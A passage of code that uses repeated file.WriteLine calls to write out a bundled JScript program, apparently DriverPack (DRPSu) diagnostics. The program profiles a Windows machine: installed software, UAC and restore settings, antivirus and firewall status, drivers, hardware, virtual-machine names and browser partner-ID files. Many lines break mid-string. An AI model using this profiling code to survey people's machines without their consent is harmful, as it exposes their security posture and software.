\"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\", \"
HKLM64\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\", \"
HKCU64\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\" ] :
[ \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\",
\"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\" ],"
);
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Program\",");
file.WriteLine(" field: \"DisplayName\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Version\",");
file.WriteLine(" field: \"DisplayVersion\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Publisher\",");
file.WriteLine(" field: \"Publisher\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Install Date\",");
file.WriteLine(" field: \"InstallDate\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Location\",");
file.WriteLine(" field: \"InstallLocation\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Icon\",");
file.WriteLine(" field: \"DisplayIcon\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Uninstaller\",");
file.WriteLine(" field: \"UninstallString\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Registry Path\",");
file.WriteLine(" field: \"RegPath\"");
file.WriteLine(" } ],");
file.WriteLine(" filter: function(_ref47) {");
file.WriteLine(" return _ref47.Program;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" Security: {");
file.WriteLine(" \"Windows Security\": {");
file.WriteLine(" type: \"object\",");
file.WriteLine(" targets: [ \"diagnostics\", \"dashboard\" ],");
file.WriteLine(" groups: [ {");
file.WriteLine(" name: \"Operating System Properties\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"OS Name\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"Caption\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"OS Service Pack\",");
file.WriteLine(" wmi: {");
file.WriteLine(" source: \"Win32_OperatingSystem\",");
file.WriteLine(" fields: [ \"CSDVersion\" ]");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Winlogon Shell\",");
file.WriteLine(" reg: {");
file.WriteLine("
source: \"HKLM\\\\Software\\\\Microsoft\\\\Windows
NT\\\\CurrentVersion\\\\Winlogon\\\\Shell\"");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"User Account Control (UAC)\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" reg: {");
file.WriteLine("
source: \"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\
\System\\\\EnableLUA\"");
file.WriteLine(" },");
file.WriteLine(" format: function(v) {");
file.WriteLine(" if (0 === v) return \"Disabled\";");
file.WriteLine(" if (1 === v) return \"Enabled\"; else
return \"\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"System Restore\",");
file.WriteLine(" targets: [ \"temporary\" ],");
file.WriteLine(" reg: {");
file.WriteLine(" source: _os.OSVersion <
6 ? \"HKLM\\\\Software\\\\Microsoft\\\\Windows
NT\\\\CurrentVersion\\\\SystemRestore\\\\DisableSR\" : \"HKLM\\\\Software\\\\Micros
oft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\\RPSessionInterval\"");
file.WriteLine(" },");
file.WriteLine(" format: function(v) {");
file.WriteLine(" if (_os.OSVersion < 6) return
v ? \"Disabled\" : \"Enabled\"; else return v ? \"Enabled\" : \"Disabled\";");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" } ]");
file.WriteLine(" },");
file.WriteLine(" \"Anti-Virus\": {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets:
[ \"diagnostics\", \"dashboard\", \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: _os.OSVersion <
6 ? \"ROOT\\\\SecurityCenter:AntiVirusProduct\" : \"ROOT\\\\SecurityCenter2:AntiVir
usProduct\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Name\",");
file.WriteLine(" field: \"displayName\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Active\",");
file.WriteLine(" field: _os.OSVersion <
6 ? \"onAccessScanningEnabled\" : \"productState\",");
file.WriteLine(" format: function(v) {");
file.WriteLine(" if (_os.OSVersion < 6) return \"false\"
!== v;");
file.WriteLine(" var state = parseInt(v,
10).toString(16);");
file.WriteLine(" state = state.substring(state.length -
4, state.length - 2);");
file.WriteLine(" return \"10\" === state || \"11\" ===
state ? \"Yes\" : \"No\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"UpToDate\",");
file.WriteLine(" field: _os.OSVersion <
6 ? \"productUptoDate\" : \"productState\",");
file.WriteLine(" format: function(v) {");
file.WriteLine(" if (_os.OSVersion < 6) return \"false\"
!== v;");
file.WriteLine(" var state = parseInt(v,
10).toString(16);");
file.WriteLine(" state = state.substring(state.length -
2, state.length);");
file.WriteLine(" return \"00\" ===
state ? \"Yes\" : \"No\";");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" Firewall: {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets:
[ \"diagnostics\", \"dashboard\", \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: _os.OSVersion <
6 ? \"ROOT\\\\SecurityCenter:FirewallProduct\" : \"ROOT\\\\SecurityCenter2:Firewall
Product\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Name\",");
file.WriteLine(" field: \"displayName\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Active\",");
file.WriteLine(" field: _os.OSVersion <
6 ? \"enabled\" : \"productState\",");
file.WriteLine(" format: function(v) {");
file.WriteLine(" if (_os.OSVersion < 6) return \"false\"
!== v;");
file.WriteLine(" var state = parseInt(v,
10).toString(16);");
file.WriteLine(" state = state.substring(state.length -
4, state.length - 2);");
file.WriteLine(" return \"10\" === state || \"11\" ===
state ? \"Yes\" : \"No\";");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" \"Anti-Spyware\": {");
file.WriteLine(" type: \"array\",");
file.WriteLine(" targets:
[ \"diagnostics\", \"dashboard\", \"temporary\" ],");
file.WriteLine(" wmi: {");
file.WriteLine(" source: _os.OSVersion <
6 ? \"ROOT\\\\SecurityCenter:AntiSpywareProduct\" : \"ROOT\\\\SecurityCenter2:AntiS
pywareProduct\",");
file.WriteLine(" fields: [ {");
file.WriteLine(" name: \"Name\",");
file.WriteLine(" field: \"displayName\"");
file.WriteLine(" }, {");
file.WriteLine(" name: \"Active\",");
file.WriteLine(" field: _os.OSVersion <
6 ? \"productEnabled\" : \"productState\",");
file.WriteLine(" format: function(v) {");
file.WriteLine(" if (_os.OSVersion < 6) return \"false\"
!== v;");
file.WriteLine(" var state = parseInt(v,
10).toString(16);");
file.WriteLine(" state = state.substring(state.length -
4, state.length - 2);");
file.WriteLine(" return \"10\" === state || \"11\" ===
state ? \"Yes\" : \"No\";");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" name: \"UpToDate\",");
file.WriteLine(" field: _os.OSVersion <
6 ? \"productUptoDate\" : \"productState\",");
file.WriteLine(" format: function(v) {");
file.WriteLine(" if (_os.OSVersion < 6) return \"false\"
!== v;");
file.WriteLine(" var state = parseInt(v,
10).toString(16);");
file.WriteLine(" state = state.substring(state.length -
2, state.length);");
file.WriteLine(" return \"00\" ===
state ? \"Yes\" : \"No\";");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function() {");
file.WriteLine(" var deviceId = arguments.length > 0 && arguments[0] !==
undefined ? arguments[0] : \"\";");
file.WriteLine(" if (/FAILURE|UNKNOWN|VID_0000/i.test(deviceId))
return \"usb_connection\"; else if (/ROOT\\\\LEGACY_.+/i.test(deviceId))
return \"root_legacy\"; else if (/TAP.+|PTUN.+|HAMACHI/i.test(deviceId))
return \"vpn_no_need_drivers\"; else if (/\\*6TO4MP|BTH\\\\MS_.+/i.test(deviceId))
return \"damaged_system_driver\"; else if
(deviceId.includes(\"WPDBUSENUMROOT\\\\UMB\")) return \"usb_unknown_vendor\"; else
if
(deviceId.includes(\"HDAUDIO\\\\FUNC_FF&VEN_9FFF&DEV_FFFF&SUBSYS_1FFFFFFF&REV_FFFF\
")) return \"sound_card\"; else if (/\\*ISATAP|\\*TEREDO/i.test(deviceId))
return \"unknown_problem\"; else return \"\";");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function getDrivers() {");
file.WriteLine(" var drivers = (0, _wmi.getWMIObjects)
([ \"DeviceID\", \"DriverDate\", \"DriverVersion\", \"DeviceName\", \"InfName\", \"
Manufacturer\", \"ClassGuid\" ], \"Win32_PnPSignedDriver\"), results = [];");
file.WriteLine(" drivers.forEach(function(driver) {");
file.WriteLine(" if (driver.DeviceID && driver.DriverDate &&
driver.DriverVersion && driver.DeviceName && driver.InfName) {");
file.WriteLine(" for (var dr = {");
file.WriteLine(" deviceId: driver.DeviceID,");
file.WriteLine(" date: [ driver.DriverDate.slice(0, 4),
driver.DriverDate.slice(4, 6), driver.DriverDate.slice(6, 8) ].join(\"-\"),");
file.WriteLine(" version: driver.DriverVersion,");
file.WriteLine(" name: driver.DeviceName,");
file.WriteLine(" manufacturer: driver ? driver.Manufacturer :
null,");
file.WriteLine(" inf: driver.InfName");
file.WriteLine(" }, regPath
= \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Class\\\\\" + driver.ClassGuid,
regData = _wmiRegistry.wmiRegistry.EnumKey(_wmiRegistry.wmiRegistry.HKLM, regPath),
_iterator = regData, _isArray = Array.isArray(_iterator), _i = 0, _iterator =
_isArray ? _iterator : _iterator[Symbol.iterator](); ;) {");
file.WriteLine(" var _ref;");
file.WriteLine(" if (_isArray) {");
file.WriteLine(" if (_i >= _iterator.length) break;");
file.WriteLine(" _ref = _iterator[_i++];");
file.WriteLine(" } else {");
file.WriteLine(" _i = _iterator.next();");
file.WriteLine(" if (_i.done) break;");
file.WriteLine(" _ref = _i.value;");
file.WriteLine(" }");
file.WriteLine(" var regSection = _ref;");
file.WriteLine(" if
(_wmiRegistry.wmiRegistry.GetStringValue(_wmiRegistry.wmiRegistry.HKLM, regPath
+ \"\\\\\" + regSection, \"InfPath\") === dr.inf) {");
file.WriteLine(" var regDate =
_wmiRegistry.wmiRegistry.GetStringValue(_wmiRegistry.wmiRegistry.HKLM, regPath
+ \"\\\\\" + regSection, \"DriverDate\");");
file.WriteLine(" dr.date = [ regDate.split(\"-\")[2], (\"0\"
+ regDate.split(\"-\")[0]).slice(-2), (\"0\" + regDate.split(\"-\")[1]).slice(-
2) ].join(\"-\");");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" results.push(dr);");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" return results;");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.getDrivers = getDrivers;");
file.WriteLine(" var _wmi = __webpack_require__(2), _wmiRegistry =
__webpack_require__(70);");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.getDevicesStatus = exports.getDevicesCount =
exports.getHardware = undefined;");
file.WriteLine(" var _extends = Object.assign || function(target) {");
file.WriteLine(" for (var i = 1; i < arguments.length; i++) {");
file.WriteLine(" var source = arguments[i];");
file.WriteLine(" for (var key in source) if
(Object.prototype.hasOwnProperty.call(source, key)) target[key] = source[key];");
file.WriteLine(" }");
file.WriteLine(" return target;");
file.WriteLine(" }, _wmi = __webpack_require__(2), _iterate =
__webpack_require__(28), _iterate2 = _interopRequireDefault(_iterate),
_getDeviceProblem = __webpack_require__(241), _getDeviceProblem2 =
_interopRequireDefault(_getDeviceProblem), re1 = /^(.*(?:VEN|VID).*(?:DEV|PID).*?)
(?=&|\\\\|$).*?(?=\\\\|$)/, re2 = /^((?:ACPI\\\\(?:IO|FUJITSU)|.*?(?!\\\\(?:IO|
FUJITSU)\\\\))\\\\.*?)\\\\.*/, remap = function(_ref) {");
file.WriteLine(" return {");
file.WriteLine(" deviceId: _ref.DeviceID,");
file.WriteLine(" status: _ref.Status,");
file.WriteLine(" statusCode: _ref.ConfigManagerErrorCode");
file.WriteLine(" };");
file.WriteLine(" };");
file.WriteLine(" exports.getHardware = function() {");
file.WriteLine(" var DevicecolItems = _wmi.objWMIService.ExecQuery(\"SELECT
* FROM Win32_PnPEntity\", \"WQL\"), DeviceenumItems = new
Enumerator(DevicecolItems);");
file.WriteLine(" DeviceenumItems.moveFirst();");
file.WriteLine(" for (var DriverPackInstalled = [], i = 0; !1 ===
DeviceenumItems.atEnd(); i++) !function(i) {");
file.WriteLine(" var deviceItem = DeviceenumItems.item(), hardwareId =
[];");
file.WriteLine(" if (deviceItem.HardWareID !== undefined && null !==
deviceItem.HardWareID && deviceItem.HardWareID.toArray) for (var h = 0; h <
deviceItem.HardWareID.toArray().length; h++)
hardwareId.push(deviceItem.HardWareID.toArray()[h].toString().toUpperCase()); else
if (deviceItem.DeviceID) {");
file.WriteLine(" var id =
deviceItem.DeviceID.toUpperCase().replace(/^\\*\\s*/, \"ACPI\\\\\").replace(/^ACPI\
\\\VEN_([0-9A-Z]+)&DEV_([0-9A-Z]+)/, \"ACPI\\\\$1$2\"), m = re1.exec(id);");
file.WriteLine(" if (m) {");
file.WriteLine(" for (var parts = m[0].slice(m[1].length +
1).split(\"&\"), hwid = m[1], p = 0; p < parts.length; p++) {");
file.WriteLine(" hwid += \"&\" + parts[p];");
file.WriteLine(" hardwareId.push(hwid);");
file.WriteLine(" }");
file.WriteLine(" parts.forEach(function(part) {");
file.WriteLine(" hwid += \"&\" + part;");
file.WriteLine(" hardwareId.push(hwid);");
file.WriteLine(" });");
file.WriteLine(" } else hardwareId.push(id.replace(re2, \"$1\"));");
file.WriteLine(" }");
file.WriteLine(" DriverPackInstalled.push(_extends({},
remap(deviceItem), {");
file.WriteLine(" hardwareId: hardwareId");
file.WriteLine(" }));");
file.WriteLine(" DeviceenumItems.moveNext();");
file.WriteLine(" }();");
file.WriteLine(" return DriverPackInstalled;");
file.WriteLine(" }, exports.getDevicesCount = function(_ref2) {");
file.WriteLine(" var status = _ref2.status, errCode = _ref2.errCode,
filterBroken = _ref2.filterBroken, query = \"SELECT DeviceID FROM
Win32_PnPEntity\", whereParts = [];");
file.WriteLine(" if (status) whereParts.push('Status = \"' + status +
'\"');");
file.WriteLine(" if (errCode) {");
file.WriteLine(" if (errCode.min)
whereParts.push(\"ConfigManagerErrorCode >= \" + errCode.min);");
file.WriteLine(" if (errCode.max)
whereParts.push(\"ConfigManagerErrorCode <= \" + errCode.max);");
file.WriteLine(" }");
file.WriteLine(" if (whereParts.length > 0) query = query + \" WHERE \" +
whereParts.join(\" AND \");");
file.WriteLine(" var DevicecolItems =
_wmi.objWMIService.ExecQuery(query, \"WQL\");");
file.WriteLine(" if (!filterBroken) return DevicecolItems.Count;");
file.WriteLine(" var res = 0, DeviceenumItems = new
Enumerator(DevicecolItems);");
file.WriteLine(" DeviceenumItems.moveFirst();");
file.WriteLine(" for (var i = 0; !1 === DeviceenumItems.atEnd(); i++) {");
file.WriteLine(" var DeviceID = DeviceenumItems.item().DeviceID;");
file.WriteLine(" if (DeviceID && !(0, _getDeviceProblem2[\"default\"])
(DeviceID)) res++;");
file.WriteLine(" DeviceenumItems.moveNext();");
file.WriteLine(" }");
file.WriteLine(" return res;");
file.WriteLine(" }, exports.getDevicesStatus = function(hwids) {");
file.WriteLine(" var where = hwids.map(function(deviceId) {");
file.WriteLine(" return \"(DeviceID=\" + JSON.stringify(deviceId)
+ \")\";");
file.WriteLine(" }).join(\" OR \"), query = \"SELECT * FROM
Win32_PnPEntity\" + (where ? \" WHERE \" + where : \"\"), res = [];");
file.WriteLine(" (0, _iterate2[\"default\"])
(_wmi.objWMIService.ExecQuery(query, \"WQL\"), function(item) {");
file.WriteLine(" res.push(_extends({}, remap(item)));");
file.WriteLine(" });");
file.WriteLine(" return res;");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function getModel() {");
file.WriteLine(" var _getWMIObjects = (0, _wmi.getWMIObjects)
([ \"Manufacturer\", \"Model\", \"Caption\" ], \"Win32_ComputerSystem\"),
_getWMIObjects$ = _getWMIObjects[0], pc = _getWMIObjects$ === undefined ? {} :
_getWMIObjects$, _getWMIObjects2 = (0, ");
file.WriteLine(" _wmi.getWMIObjects)
([ \"Vendor\", \"Name\", \"Version\" ], \"Win32_ComputerSystemProduct\"),
_getWMIObjects2$ = _getWMIObjects2[0], csp = _getWMIObjects2$ === undefined ? {} :
_getWMIObjects2$, _getWMIObjects3 = (0, ");
file.WriteLine(" _wmi.getWMIObjects)
([ \"Product\", \"Version\", \"Manufacturer\" ], \"Win32_BaseBoard\"),
_getWMIObjects3$ = _getWMIObjects3[0], bb = _getWMIObjects3$ === undefined ? {} :
_getWMIObjects3$, type = (0, ");
file.WriteLine(" _getPCType2[\"default\"])(csp), vendor = \"Notebook\" ===
type ? (0, _getNotebookVendor2[\"default\"])(csp.Vendor) : (0, ");
file.WriteLine(" _trimVendorName2[\"default\"])(csp.Vendor, \"Noname\", !
1);");
file.WriteLine(" return {");
file.WriteLine(" type: type,");
file.WriteLine(" vendor: vendor,");
file.WriteLine(" name: \"Notebook\" === type ? (0,
_getNotebookModel2[\"default\"])(Object.assign({}, csp, {");
file.WriteLine(" Vendor: vendor");
file.WriteLine(" })) : pc.Caption,");
file.WriteLine(" info: {");
file.WriteLine(" computerSystem: pc,");
file.WriteLine(" computerSystemProduct: csp,");
file.WriteLine(" baseBoard: bb");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.getModel = getModel;");
file.WriteLine(" var _wmi = __webpack_require__(2), _trimVendorName =
__webpack_require__(110), _trimVendorName2 =
_interopRequireDefault(_trimVendorName), _getPCType = __webpack_require__(245),
_getPCType2 = _interopRequireDefault(_getPCType), _getNotebookVendor =
__webpack_require__(178), _getNotebookVendor2 =
_interopRequireDefault(_getNotebookVendor), _getNotebookModel =
__webpack_require__(177), _getNotebookModel2 =
_interopRequireDefault(_getNotebookModel);");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _wmi = __webpack_require__(2), _trimVendorName =
__webpack_require__(110), _trimVendorName2 = function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_trimVendorName);");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" var _ref$Vendor = _ref.Vendor, Vendor = _ref$Vendor ===
undefined ? \"Noname\" : _ref$Vendor, _ref$Name = _ref.Name, Name = _ref$Name ===
undefined ? \"Unknown\" : _ref$Name, chassis = (0, ");
file.WriteLine(" _wmi.getWMIObjects)
([ \"ChassisTypes\" ], \"Win32_SystemEnclosure\"), type = void 0;");
file.WriteLine(" if (!(chassis && chassis[0] && chassis[0].ChassisTypes &&
chassis[0].ChassisTypes[0])) type = \"Other\"; else switch
(chassis[0].ChassisTypes[0]) {");
file.WriteLine(" case 3:");
file.WriteLine(" case 4:");
file.WriteLine(" case 5:");
file.WriteLine(" case 6:");
file.WriteLine(" case 7:");
file.WriteLine(" case 13:");
file.WriteLine(" case 15:");
file.WriteLine(" case 16:");
file.WriteLine(" type = \"Desktop\";");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 8:");
file.WriteLine(" case 9:");
file.WriteLine(" case 10:");
file.WriteLine(" case 11:");
file.WriteLine(" case 14:");
file.WriteLine(" return \"Notebook\";");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" type = \"Other\";");
file.WriteLine(" }");
file.WriteLine(" if ([ /virtualbox/i, /vmware/i ].some(function(reg) {");
file.WriteLine(" return reg.test(Name);");
file.WriteLine(" })) return type;");
file.WriteLine(" if (0 === (0, _wmi.getWMIObjects)
([ \"Name\" ], \"Win32_Battery\").length) return type;");
file.WriteLine(" if (\"Other\" === type) return \"Notebook\";");
file.WriteLine(" if (\"Desktop\" === type && \"micro-star\" === (0,
_trimVendorName2[\"default\"])(Vendor)) return \"Notebook\"; else return type;");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _fso = __webpack_require__(7), _specialFolders =
__webpack_require__(15), _localFiles = __webpack_require__(21), _getDiagnostics =
__webpack_require__(109), _getDiagnostics2 = function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_getDiagnostics), analyseSoftChanges = function(prev, cur)
{");
file.WriteLine(" var res = {");
file.WriteLine(" installed: [],");
file.WriteLine(" uninstalled: [],");
file.WriteLine(" updated: []");
file.WriteLine(" };");
file.WriteLine(" if (!prev.Software || !prev.Software[\"Installed
Software\"]) return res;");
file.WriteLine(" var prevSoft = prev.Software[\"Installed Software\"],
curSoft = cur.Software[\"Installed Software\"];");
file.WriteLine(" res.installed = curSoft.filter(function(csoft) {");
file.WriteLine(" return !prevSoft.find(function(psoft) {");
file.WriteLine(" return psoft.Program === csoft.Program;");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" res.uninstalled = prevSoft.filter(function(psoft) {");
file.WriteLine(" return !curSoft.find(function(csoft) {");
file.WriteLine(" return csoft.Program === psoft.Program;");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" res.updated = curSoft.filter(function(csoft) {");
file.WriteLine(" return prevSoft.find(function(psoft) {");
file.WriteLine(" return psoft.Program === csoft.Program &&
psoft.Version !== csoft.Version;");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" return res;");
file.WriteLine(" }, checkPrevSoftFile = function(fullPath) {");
file.WriteLine(" try {");
file.WriteLine(" if (_fso.fso.FileExists(fullPath)) {");
file.WriteLine(" var fileIn = _fso.fso.OpenTextFile(fullPath, 1, !0,
-1), prev = JSON.parse(fileIn.ReadAll());");
file.WriteLine(" fileIn.Close();");
file.WriteLine(" return prev;");
file.WriteLine(" }");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" return {};");
file.WriteLine(" };");
file.WriteLine(" exports[\"default\"] = function(cur) {");
file.WriteLine(" var path = _specialFolders.AppData
+ \"\\\\DRPSu\\\\diagnostics\\\\\", fullPathCur = path + \"newsoft.json\",
fullPathPrev = path + \"soft.json\";");
file.WriteLine(" try {");
file.WriteLine(" if (!cur) cur = JSON.parse((0, _localFiles.queryFile)
(fullPathCur, 6e4));");
file.WriteLine(" } catch (err) {");
file.WriteLine(" cur = (0, _getDiagnostics2[\"default\"])(\"soft\");");
file.WriteLine(" }");
file.WriteLine(" var prev = checkPrevSoftFile(fullPathPrev), changes =
analyseSoftChanges(prev, cur);");
file.WriteLine(" (0, _localFiles.createFile)(path, \"soft.json\",
JSON.stringify(cur));");
file.WriteLine(" return changes;");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _fso = __webpack_require__(7), _specialFolders =
__webpack_require__(15), _iterate = __webpack_require__(28), _iterate2 =
function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_iterate), parseClidsFile = function(filePath, reg) {");
file.WriteLine(" var clids = [];");
file.WriteLine(" try {");
file.WriteLine(" for (var fStream = _fso.fso.OpenTextFile(filePath,
1); !fStream.AtEndOfStream; ) {");
file.WriteLine(" var line = fStream.ReadLine(), parsed =
reg.exec(line);");
file.WriteLine(" if (parsed && parsed[1]) clids.push(parsed[1]);");
file.WriteLine(" }");
file.WriteLine(" fStream.Close();");
file.WriteLine(" } catch (e) {");
file.WriteLine(" return clids;");
file.WriteLine(" }");
file.WriteLine(" return clids;");
file.WriteLine(" };");
file.WriteLine(" exports[\"default\"] = [ {");
file.WriteLine(" title: \"Yandex\",");
file.WriteLine(" nameReg: /^Yandex$|YandexBrowser/i,");
file.WriteLine(" getClids: function() {");
file.WriteLine(" var clidsFilePath = _specialFolders.AppData
+ \"\\\\Yandex\\\\clids-yabrowser.xml\";");
file.WriteLine(" return parseClidsFile(clidsFilePath,
/vendor\\s+name=['\"](.*?)['\"]/);");
file.WriteLine(" },");
file.WriteLine(" clidsReg: /drpsu/i");
file.WriteLine(" }, {");
file.WriteLine(" title: \"Opera\",");
file.WriteLine(" nameReg: /Opera/i,");
file.WriteLine(" getClids: function() {");
file.WriteLine(" var clids = [], reg = /
['\"]partner_id['\"]\\s*:\\s*['\"](.*?)['\"]/, operaFolder =
_specialFolders.ProgramFiles + \"\\\\Opera\";");
file.WriteLine(" if (!_fso.fso.FolderExists(operaFolder)) {");
file.WriteLine(" operaFolder = _specialFolders.AppData + \"\\\\Opera
Software\\\\Opera Stable\";");
file.WriteLine(" var clidsFilePath = operaFolder
+ \"\\\\tracking_user_agent.json\";");
file.WriteLine(" clids = clids.concat(parseClidsFile(clidsFilePath,
reg));");
file.WriteLine(" } else try {");
file.WriteLine(" (0, _iterate2[\"default\"])
(_fso.fso.GetFolder(operaFolder).SubFolders, function(subFolder) {");
file.WriteLine(" if (/^\\d+/.test(subFolder.Name)) {");
file.WriteLine(" var _clidsFilePath = operaFolder + \"\\\\\"
+ subFolder.Name + \"\\\\resources\\\\tracking_user_agent.json\";");
file.WriteLine(" clids =
clids.concat(parseClidsFile(_clidsFilePath, reg));");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" } catch (e) {");
file.WriteLine(" return clids;");
file.WriteLine(" }");
file.WriteLine(" return clids;");
file.WriteLine(" },");
file.WriteLine(" clidsReg: /Campaign\\s+34/i");
file.WriteLine(" }, {");
file.WriteLine(" title: \"Firefox\",");
file.WriteLine(" nameReg: /Mozilla\\s?Firefox/i");
file.WriteLine(" }, {");
file.WriteLine(" title: \"WinRAR\",");
file.WriteLine(" nameReg: /WinRAR/i");
file.WriteLine(" } ];");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,
, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,
, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,
, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,
, , , , , , , , , , , , , function(module, exports) {");
file.WriteLine(" !function(global) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function XHRTransport(xhr, onStartCallback,
onProgressCallback, onFinishCallback, thisArg) {");
file.WriteLine(" this._internal = new XHRTransportInternal(xhr,
onStartCallback, onProgressCallback, onFinishCallback, thisArg);");
file.WriteLine(" }");
file.WriteLine(" function XHRTransportInternal(xhr, onStartCallback,
onProgressCallback, onFinishCallback, thisArg) {");
file.WriteLine(" this.onStartCallback = onStartCallback;");
file.WriteLine(" this.onProgressCallback = onProgressCallback;");
file.WriteLine(" this.onFinishCallback = onFinishCallback;");
file.WriteLine(" this.thisArg = thisArg;");
file.WriteLine(" this.xhr = xhr;");
file.WriteLine(" this.state = 0;");
file.WriteLine(" this.charOffset = 0;");
file.WriteLine(" this.offset = 0;");
file.WriteLine(" this.url = \"\";");
file.WriteLine(" this.withCredentials = !1;");
file.WriteLine(" this.timeout = 0;");
file.WriteLine(" }");
file.WriteLine(" function Map() {");
file.WriteLine(" this._data = {};");
file.WriteLine(" }");
file.WriteLine(" function EventTarget() {");
file.WriteLine(" this._listeners = new Map();");
file.WriteLine(" }");
file.WriteLine(" function throwError(e) {");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" throw e;");
file.WriteLine(" }, 0);");
file.WriteLine(" }");
file.WriteLine(" function Event(type) {");
file.WriteLine(" this.type = type;");
